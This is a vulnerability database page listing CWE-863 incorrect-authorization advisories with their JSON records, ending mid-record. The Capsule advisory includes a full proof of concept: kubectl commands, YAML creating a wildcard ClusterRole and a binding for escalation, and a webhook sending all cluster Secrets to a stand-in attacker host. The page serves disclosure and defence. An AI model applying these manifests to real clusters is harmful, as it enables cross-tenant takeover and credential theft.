CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
5631 vulnerabilities reference this CWE, most recent first.
GHSA-QJJM-7J9W-PW72
Vulnerability from github – Published: 2026-05-28 17:02 – Updated: 2026-06-09 10:50TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability
Summary
The Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller's elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.
Details
Vulnerability Location
File: internal/controllers/resources/processor.go
Function: HandleSection()
Lines: 247-285
Core Issues
-
Excessive Controller Privileges: The Controller's ServiceAccount is bound to the cluster-admin ClusterRole
yaml # ClusterRoleBinding: capsule-manager-rolebinding roleRef: kind: ClusterRole name: cluster-admin -
Missing Resource Scope Validation: Although the code calls
obj.SetNamespace(ns.Name), this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field -
Missing Resource Type Validation: No check for whether resources are cluster-scoped
Vulnerable Code Analysis
// internal/controllers/resources/processor.go
for rawIndex, item := range spec.RawItems {
template := string(item.Raw)
t := fasttemplate.New(template, "{{ ", " }}")
tmplString := t.ExecuteString(map[string]interface{}{
"tenant.name": tnt.Name,
"namespace": ns.Name,
})
obj, keysAndValues := unstructured.Unstructured{}, []interface{}{"index", rawIndex}
// Issue 1: Accepts any resource type, including cluster-scoped resources
if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(
[]byte(tmplString), nil, &obj); decodeErr != nil {
log.Error(decodeErr, "unable to deserialize rawItem", keysAndValues...)
syncErr = errors.Join(syncErr, decodeErr)
continue
}
// Issue 2: For cluster-scoped resources, this setting is ignored by API
obj.SetNamespace(ns.Name)
// Issue 3: Controller creates with cluster-admin privileges, no scope check
if rawErr := r.createOrUpdate(ctx, &obj, objLabels, objAnnotations); rawErr != nil {
log.Info("unable to sync rawItem", keysAndValues...)
syncErr = errors.Join(syncErr, rawErr)
}
}
Attack Chain
Tenant Owner (bob) - Has TenantResource creation permission
↓
Creates TenantResource containing cluster-scoped resources
↓
Capsule Controller (cluster-admin) processes RawItems
↓
obj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)
↓
Successfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)
↓
Cross-tenant privilege escalation / Cluster-level attacks
PoC
Environment Setup
Test Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)
Step 1: Verify Capsule Controller Privileges
kubectl get clusterrolebinding capsule-manager-rolebinding -o yaml
Confirm output contains:
roleRef:
kind: ClusterRole
name: cluster-admin # Controller has full cluster management privileges
Step 2: Install Capsule and Create Test Tenant
Complete Capsule installation and tenant creation following previous environment setup steps.
Step 3: Verify bob's Permission Restrictions
Verify bob can create TenantResource:
kubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1
Actual output:
yes
Verify bob cannot create ClusterRole:
kubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev
Actual output:
Warning: resource 'clusterroles' is not namespace scoped in group 'rbac.authorization.k8s.io'
no
Verify bob cannot create ValidatingWebhook:
kubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev
Actual output:
Warning: resource 'validatingwebhookconfigurations' is not namespace scoped in group 'admissionregistration.k8s.io'
no
Attack Vector 1: Creating Malicious ClusterRole
Step 4: Create TenantResource Containing ClusterRole
Create file attack-clusterrole.yaml:
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
name: create-clusterrole
namespace: tenant-b-ns1
spec:
resyncPeriod: 60s
resources:
- namespaceSelector:
matchLabels:
capsule.clastix.io/tenant: tenant-b
rawItems:
- apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: malicious-clusterrole
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
Apply configuration as bob user (critical - must specify executor):
kubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev
Actual output:
tenantresource.capsule.clastix.io/create-clusterrole created
Important: The --as bob --as-group projectcapsule.dev parameters are crucial for proving that bob (not the cluster admin) is executing this attack.
Step 5: Verify ClusterRole Creation
kubectl get clusterrole malicious-clusterrole
Actual output:
NAME CREATED AT
malicious-clusterrole 2026-01-05T16:10:02Z
View details:
kubectl get clusterrole malicious-clusterrole -o yaml
Key output:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
annotations:
capsule.clastix.io/tenant: tenant-b
name: malicious-clusterrole
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
Verification Successful: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.
Step 6: Exploit ClusterRole for Cross-Tenant Attack
Now bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: bob-cluster-admin
subjects:
- kind: User
name: bob
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: malicious-clusterrole
apiGroup: rbac.authorization.k8s.io
After applying, bob will have full cluster management privileges and can access resources of all tenants.
Attack Vector 2: Creating Malicious ValidatingWebhook
Step 7: Create TenantResource Containing Webhook
Create file attack-webhook.yaml:
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
name: create-webhook
namespace: tenant-b-ns1
spec:
resyncPeriod: 60s
resources:
- namespaceSelector:
matchLabels:
capsule.clastix.io/tenant: tenant-b
rawItems:
- apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
name: malicious-webhook
webhooks:
- name: malicious.webhook.com
clientConfig:
url: "https://attacker-controlled-server.com/webhook"
rules:
- operations: ["CREATE", "UPDATE"]
apiGroups: [""]
apiVersions: ["v1"]
resources: ["secrets"]
admissionReviewVersions: ["v1"]
sideEffects: None
failurePolicy: Ignore
Apply configuration as bob user:
kubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev
Actual output:
tenantresource.capsule.clastix.io/create-webhook created
Step 8: Verify Webhook Creation
kubectl get validatingwebhookconfiguration malicious-webhook
Actual output:
NAME WEBHOOKS AGE
malicious-webhook 1 5s
Verification Successful: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.
Step 9: Exploit Webhook to Steal Sensitive Data
At this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:
- Steal Secret data from all tenants (database passwords, API keys, etc.)
- Modify Secret contents
- Deny legitimate Secret creation requests, achieving DoS attacks
Impact
Affected Scope
This vulnerability affects all Capsule deployments with the following prerequisites: 1. Capsule Controller runs with cluster-admin privileges (default configuration) 2. Tenant Owner has permission to create TenantResource
Security Impact
- Cross-Tenant Privilege Escalation
- Create ClusterRole to gain cluster-level privileges
- Break tenant isolation boundaries
-
Access all resources of other tenants
-
Large-Scale Sensitive Data Theft
- Intercept all Secret creation/update requests through malicious Webhook
- Steal passwords, API keys, certificates, etc. across the entire cluster
-
Real-time monitoring of all tenant sensitive operations
-
Cluster-Level Denial of Service
- Deny all API requests through Webhook
- Make the entire cluster unavailable
-
Impact all tenants
-
Cluster Pollution
- Create malicious CRDs
- Modify StorageClass
-
Impact cluster stability
-
Persistent Backdoor
- Created cluster-scoped resources persist
- Even if TenantResource is deleted, ClusterRole and other resources remain
- Difficult to detect and remove
Limiting Factors
- Requires Tenant Owner privileges
- Requires Capsule Controller running with cluster-admin privileges (default configuration)
- Some clusters may have additional admission controllers blocking malicious resources
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/projectcapsule/capsule"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22872"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-28T17:02:55Z",
"nvd_published_at": "2026-06-01T19:16:21Z",
"severity": "MODERATE"
},
"details": "# TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability\n\n\n## Summary\n\nThe Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller\u0027s elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.\n\n---\n\n## Details\n\n### Vulnerability Location\n\nFile: `internal/controllers/resources/processor.go`\nFunction: `HandleSection()`\nLines: 247-285\n\n### Core Issues\n\n1. **Excessive Controller Privileges**: The Controller\u0027s ServiceAccount is bound to the cluster-admin ClusterRole\n ```yaml\n # ClusterRoleBinding: capsule-manager-rolebinding\n roleRef:\n kind: ClusterRole\n name: cluster-admin\n ```\n\n2. **Missing Resource Scope Validation**: Although the code calls `obj.SetNamespace(ns.Name)`, this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field\n\n3. **Missing Resource Type Validation**: No check for whether resources are cluster-scoped\n\n### Vulnerable Code Analysis\n\n```go\n// internal/controllers/resources/processor.go\nfor rawIndex, item := range spec.RawItems {\n template := string(item.Raw)\n\n t := fasttemplate.New(template, \"{{ \", \" }}\")\n tmplString := t.ExecuteString(map[string]interface{}{\n \"tenant.name\": tnt.Name,\n \"namespace\": ns.Name,\n })\n\n obj, keysAndValues := unstructured.Unstructured{}, []interface{}{\"index\", rawIndex}\n\n // Issue 1: Accepts any resource type, including cluster-scoped resources\n if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(\n []byte(tmplString), nil, \u0026obj); decodeErr != nil {\n log.Error(decodeErr, \"unable to deserialize rawItem\", keysAndValues...)\n syncErr = errors.Join(syncErr, decodeErr)\n continue\n }\n\n // Issue 2: For cluster-scoped resources, this setting is ignored by API\n obj.SetNamespace(ns.Name)\n\n // Issue 3: Controller creates with cluster-admin privileges, no scope check\n if rawErr := r.createOrUpdate(ctx, \u0026obj, objLabels, objAnnotations); rawErr != nil {\n log.Info(\"unable to sync rawItem\", keysAndValues...)\n syncErr = errors.Join(syncErr, rawErr)\n }\n}\n```\n\n### Attack Chain\n\n```\nTenant Owner (bob) - Has TenantResource creation permission\n \u2193\nCreates TenantResource containing cluster-scoped resources\n \u2193\nCapsule Controller (cluster-admin) processes RawItems\n \u2193\nobj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)\n \u2193\nSuccessfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)\n \u2193\nCross-tenant privilege escalation / Cluster-level attacks\n```\n\n---\n\n## PoC\n\n### Environment Setup\n\nTest Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)\n\n#### Step 1: Verify Capsule Controller Privileges\n\n```bash\nkubectl get clusterrolebinding capsule-manager-rolebinding -o yaml\n```\n\nConfirm output contains:\n```yaml\nroleRef:\n kind: ClusterRole\n name: cluster-admin # Controller has full cluster management privileges\n```\n\n#### Step 2: Install Capsule and Create Test Tenant\n\nComplete Capsule installation and tenant creation following previous environment setup steps.\n\n#### Step 3: Verify bob\u0027s Permission Restrictions\n\n**Verify bob can create TenantResource:**\n```bash\nkubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1\n```\n\nActual output:\n```\nyes\n```\n\n**Verify bob cannot create ClusterRole:**\n```bash\nkubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource \u0027clusterroles\u0027 is not namespace scoped in group \u0027rbac.authorization.k8s.io\u0027\n\nno\n```\n\n**Verify bob cannot create ValidatingWebhook:**\n```bash\nkubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource \u0027validatingwebhookconfigurations\u0027 is not namespace scoped in group \u0027admissionregistration.k8s.io\u0027\n\nno\n```\n\n### Attack Vector 1: Creating Malicious ClusterRole\n\n#### Step 4: Create TenantResource Containing ClusterRole\n\nCreate file `attack-clusterrole.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n name: create-clusterrole\n namespace: tenant-b-ns1\nspec:\n resyncPeriod: 60s\n resources:\n - namespaceSelector:\n matchLabels:\n capsule.clastix.io/tenant: tenant-b\n rawItems:\n - apiVersion: rbac.authorization.k8s.io/v1\n kind: ClusterRole\n metadata:\n name: malicious-clusterrole\n rules:\n - apiGroups: [\"*\"]\n resources: [\"*\"]\n verbs: [\"*\"]\n```\n\nApply configuration **as bob user** (critical - must specify executor):\n\n```bash\nkubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-clusterrole created\n```\n\n**Important**: The `--as bob --as-group projectcapsule.dev` parameters are crucial for proving that bob (not the cluster admin) is executing this attack.\n\n#### Step 5: Verify ClusterRole Creation\n\n```bash\nkubectl get clusterrole malicious-clusterrole\n```\n\nActual output:\n```\nNAME CREATED AT\nmalicious-clusterrole 2026-01-05T16:10:02Z\n```\n\nView details:\n\n```bash\nkubectl get clusterrole malicious-clusterrole -o yaml\n```\n\nKey output:\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n annotations:\n capsule.clastix.io/tenant: tenant-b\n name: malicious-clusterrole\nrules:\n- apiGroups: [\"*\"]\n resources: [\"*\"]\n verbs: [\"*\"]\n```\n\n**Verification Successful**: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.\n\n#### Step 6: Exploit ClusterRole for Cross-Tenant Attack\n\nNow bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n name: bob-cluster-admin\nsubjects:\n- kind: User\n name: bob\n apiGroup: rbac.authorization.k8s.io\nroleRef:\n kind: ClusterRole\n name: malicious-clusterrole\n apiGroup: rbac.authorization.k8s.io\n```\n\nAfter applying, bob will have full cluster management privileges and can access resources of all tenants.\n\n### Attack Vector 2: Creating Malicious ValidatingWebhook\n\n#### Step 7: Create TenantResource Containing Webhook\n\nCreate file `attack-webhook.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n name: create-webhook\n namespace: tenant-b-ns1\nspec:\n resyncPeriod: 60s\n resources:\n - namespaceSelector:\n matchLabels:\n capsule.clastix.io/tenant: tenant-b\n rawItems:\n - apiVersion: admissionregistration.k8s.io/v1\n kind: ValidatingWebhookConfiguration\n metadata:\n name: malicious-webhook\n webhooks:\n - name: malicious.webhook.com\n clientConfig:\n url: \"https://attacker-controlled-server.com/webhook\"\n rules:\n - operations: [\"CREATE\", \"UPDATE\"]\n apiGroups: [\"\"]\n apiVersions: [\"v1\"]\n resources: [\"secrets\"]\n admissionReviewVersions: [\"v1\"]\n sideEffects: None\n failurePolicy: Ignore\n```\n\nApply configuration **as bob user**:\n\n```bash\nkubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-webhook created\n```\n\n#### Step 8: Verify Webhook Creation\n\n```bash\nkubectl get validatingwebhookconfiguration malicious-webhook\n```\n\nActual output:\n```\nNAME WEBHOOKS AGE\nmalicious-webhook 1 5s\n```\n\n**Verification Successful**: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.\n\n#### Step 9: Exploit Webhook to Steal Sensitive Data\n\nAt this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:\n\n1. Steal Secret data from all tenants (database passwords, API keys, etc.)\n2. Modify Secret contents\n3. Deny legitimate Secret creation requests, achieving DoS attacks\n\n---\n\n## Impact\n\n### Affected Scope\n\nThis vulnerability affects all Capsule deployments with the following prerequisites:\n1. Capsule Controller runs with cluster-admin privileges (default configuration)\n2. Tenant Owner has permission to create TenantResource\n\n### Security Impact\n\n1. **Cross-Tenant Privilege Escalation**\n - Create ClusterRole to gain cluster-level privileges\n - Break tenant isolation boundaries\n - Access all resources of other tenants\n\n2. **Large-Scale Sensitive Data Theft**\n - Intercept all Secret creation/update requests through malicious Webhook\n - Steal passwords, API keys, certificates, etc. across the entire cluster\n - Real-time monitoring of all tenant sensitive operations\n\n3. **Cluster-Level Denial of Service**\n - Deny all API requests through Webhook\n - Make the entire cluster unavailable\n - Impact all tenants\n\n4. **Cluster Pollution**\n - Create malicious CRDs\n - Modify StorageClass\n - Impact cluster stability\n\n5. **Persistent Backdoor**\n - Created cluster-scoped resources persist\n - Even if TenantResource is deleted, ClusterRole and other resources remain\n - Difficult to detect and remove\n\n\n### Limiting Factors\n\n1. Requires Tenant Owner privileges\n2. Requires Capsule Controller running with cluster-admin privileges (default configuration)\n3. Some clusters may have additional admission controllers blocking malicious resources",
"id": "GHSA-qjjm-7j9w-pw72",
"modified": "2026-06-09T10:50:44Z",
"published": "2026-05-28T17:02:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-qjjm-7j9w-pw72"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22872"
},
{
"type": "PACKAGE",
"url": "https://github.com/projectcapsule/capsule"
},
{
"type": "WEB",
"url": "https://github.com/projectcapsule/capsule/releases/tag/v0.13.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Capsule TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability"
}
GHSA-QJPC-QF9M-XWMR
Vulnerability from github – Published: 2026-07-02 16:43 – Updated: 2026-07-02 16:43Summary
In trusted-proxy Control UI mode, OpenClaw accepted a WebSocket client's declared operator scopes before those scopes were bound to a server-approved pairing or trusted-proxy authorization baseline.
This issue affects trusted-proxy Control UI deployments. It does not apply to shared-secret Control UI sessions, which are treated as trusted operator sessions by design.
Affected configurations
This affects deployments using gateway.auth.mode: "trusted-proxy" for Control UI access where a restricted trusted-proxy user could open a Control UI WebSocket and present a fresh, unpaired device identity with elevated requested scopes.
Impact
An unpaired or restricted trusted-proxy Control UI client could obtain cached operator.admin authority on its live WebSocket connection. That authority could then be used for admin-gated Gateway RPCs until the connection was closed or revalidated.
Patched Versions
The first stable patched version is 2026.5.18.
Mitigations
Upgrade to openclaw@2026.5.18 or later. Before upgrading, restrict trusted-proxy Control UI access to users who should have the scopes they can request, and restart the gateway after changing trusted-proxy authorization policy.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.5.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T16:43:53Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nIn trusted-proxy Control UI mode, OpenClaw accepted a WebSocket client\u0027s declared operator scopes before those scopes were bound to a server-approved pairing or trusted-proxy authorization baseline.\n\nThis issue affects trusted-proxy Control UI deployments. It does not apply to shared-secret Control UI sessions, which are treated as trusted operator sessions by design.\n\n### Affected configurations\n\nThis affects deployments using `gateway.auth.mode: \"trusted-proxy\"` for Control UI access where a restricted trusted-proxy user could open a Control UI WebSocket and present a fresh, unpaired device identity with elevated requested scopes.\n\n### Impact\n\nAn unpaired or restricted trusted-proxy Control UI client could obtain cached `operator.admin` authority on its live WebSocket connection. That authority could then be used for admin-gated Gateway RPCs until the connection was closed or revalidated.\n\n### Patched Versions\n\nThe first stable patched version is `2026.5.18`.\n\n### Mitigations\n\nUpgrade to `openclaw@2026.5.18` or later. Before upgrading, restrict trusted-proxy Control UI access to users who should have the scopes they can request, and restart the gateway after changing trusted-proxy authorization policy.",
"id": "GHSA-qjpc-qf9m-xwmr",
"modified": "2026-07-02T16:43:53Z",
"published": "2026-07-02T16:43:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-qjpc-qf9m-xwmr"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenClaw: Trusted-proxy Control UI WebSocket accepted client-declared scopes before pairing"
}
GHSA-QJR8-78Q2-542W
Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-05-24 19:04Insufficient policy enforcement in cookies in Google Chrome prior to 91.0.4472.77 allowed a remote attacker to bypass cookie policy via a crafted HTML page.
{
"affected": [],
"aliases": [
"CVE-2021-30537"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-07T20:15:00Z",
"severity": "MODERATE"
},
"details": "Insufficient policy enforcement in cookies in Google Chrome prior to 91.0.4472.77 allowed a remote attacker to bypass cookie policy via a crafted HTML page.",
"id": "GHSA-qjr8-78q2-542w",
"modified": "2022-05-24T19:04:10Z",
"published": "2022-05-24T19:04:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-30537"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2021/05/stable-channel-update-for-desktop_25.html"
},
{
"type": "WEB",
"url": "https://crbug.com/830101"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ETMZL6IHCTCTREEL434BQ4THQ7EOHJ43"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PAT6EOXVQFE6JFMFQF4IKAOUQSHMHL54"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202107-06"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QJVC-P88J-J9RM
Vulnerability from github – Published: 2024-10-29 14:44 – Updated: 2024-11-07 19:23Summary
A kyverno ClusterPolicy, ie. "disallow-privileged-containers," can be overridden by the creation of a PolicyException in a random namespace.
Details
By design, PolicyExceptions are consumed from any namespace. Administrators may not recognize that this allows users with privileges to non-kyverno namespaces to create exceptions.
PoC
- Administrator creates "disallow-privileged-containers" ClusterPolicy that applies to resources in the namespace "ubuntu-restricted"
- Cluster user creates a PolicyException object for "disallow-privileged-containers" in namespace "ubuntu-restricted"
- Cluster user creates a pod with a privileged container in "ubuntu-restricted"
- Cluster user escalates to root on the node from the privileged container
Impact
Administrators attempting to enforce cluster security through kyverno policies, but that allow less privileged users to create resources
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kyverno/kyverno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-48921"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-29T14:44:36Z",
"nvd_published_at": "2024-10-29T15:15:10Z",
"severity": "HIGH"
},
"details": "### Summary\nA kyverno ClusterPolicy, ie. \"disallow-privileged-containers,\" can be overridden by the creation of a PolicyException in a random namespace.\n\n### Details\nBy design, PolicyExceptions are consumed from any namespace. Administrators may not recognize that this allows users with privileges to non-kyverno namespaces to create exceptions.\n\n### PoC\n1. Administrator creates \"disallow-privileged-containers\" ClusterPolicy that applies to resources in the namespace \"ubuntu-restricted\"\n2. Cluster user creates a PolicyException object for \"disallow-privileged-containers\" in namespace \"ubuntu-restricted\"\n3. Cluster user creates a pod with a privileged container in \"ubuntu-restricted\" \n4. Cluster user escalates to root on the node from the privileged container\n\n### Impact\nAdministrators attempting to enforce cluster security through kyverno policies, but that allow less privileged users to create resources",
"id": "GHSA-qjvc-p88j-j9rm",
"modified": "2024-11-07T19:23:10Z",
"published": "2024-10-29T14:44:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-qjvc-p88j-j9rm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48921"
},
{
"type": "PACKAGE",
"url": "https://github.com/kyverno/kyverno"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Kyverno\u0027s PolicyException objects can be created in any namespace by default"
}
GHSA-QJX9-QQPQ-V2W8
Vulnerability from github – Published: 2023-12-06 09:30 – Updated: 2023-12-11 18:30Unauthorized access vulnerability in the card management module. Successful exploitation of this vulnerability may affect service confidentiality.
{
"affected": [],
"aliases": [
"CVE-2023-49239"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-06T09:15:08Z",
"severity": "HIGH"
},
"details": "Unauthorized access vulnerability in the card management module. Successful exploitation of this vulnerability may affect service confidentiality.",
"id": "GHSA-qjx9-qqpq-v2w8",
"modified": "2023-12-11T18:30:31Z",
"published": "2023-12-06T09:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49239"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2023/12"
},
{
"type": "WEB",
"url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202312-0000001758430245"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QJXF-6PR8-J87V
Vulnerability from github – Published: 2022-05-17 04:49 – Updated: 2024-10-18 21:56mail_password.py in Plone 2.1 through 4.1, 4.2.x through 4.2.5, and 4.3.x through 4.3.1 allows remote authenticated users to bypass the prohibition on password changes via the forgotten password email functionality.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Plone"
},
"ranges": [
{
"events": [
{
"introduced": "2.1"
},
{
"last_affected": "4.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "Plone"
},
"ranges": [
{
"events": [
{
"introduced": "4.2"
},
{
"fixed": "4.2.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "Plone"
},
"ranges": [
{
"events": [
{
"introduced": "4.3"
},
{
"fixed": "4.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2013-4198"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-29T16:39:16Z",
"nvd_published_at": "2014-03-11T19:37:00Z",
"severity": "MODERATE"
},
"details": "`mail_password.py` in Plone 2.1 through 4.1, 4.2.x through 4.2.5, and 4.3.x through 4.3.1 allows remote authenticated users to bypass the prohibition on password changes via the forgotten password email functionality.",
"id": "GHSA-qjxf-6pr8-j87v",
"modified": "2024-10-18T21:56:46Z",
"published": "2022-05-17T04:49:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-4198"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=978480"
},
{
"type": "PACKAGE",
"url": "https://github.com/plone/Plone"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/plone/PYSEC-2014-62.yaml"
},
{
"type": "WEB",
"url": "https://pypi.org/project/Products.PloneHotfix20130618"
},
{
"type": "WEB",
"url": "http://plone.org/products/plone-hotfix/releases/20130618"
},
{
"type": "WEB",
"url": "http://plone.org/products/plone/security/advisories/20130618-announcement"
},
{
"type": "WEB",
"url": "http://seclists.org/oss-sec/2013/q3/261"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Plone\u0027s authenticated users able to alter their password despite of policy definition"
}
GHSA-QJXQ-6V9G-FX7F
Vulnerability from github – Published: 2024-12-25 15:30 – Updated: 2025-09-29 18:33IBM AIX 7.2, 7.3, VIOS 3.1, and 4.1
could allow a non-privileged local user to exploit a vulnerability in the AIX perfstat kernel extension to cause a denial of service.
{
"affected": [],
"aliases": [
"CVE-2024-47102"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-25T15:15:06Z",
"severity": "MODERATE"
},
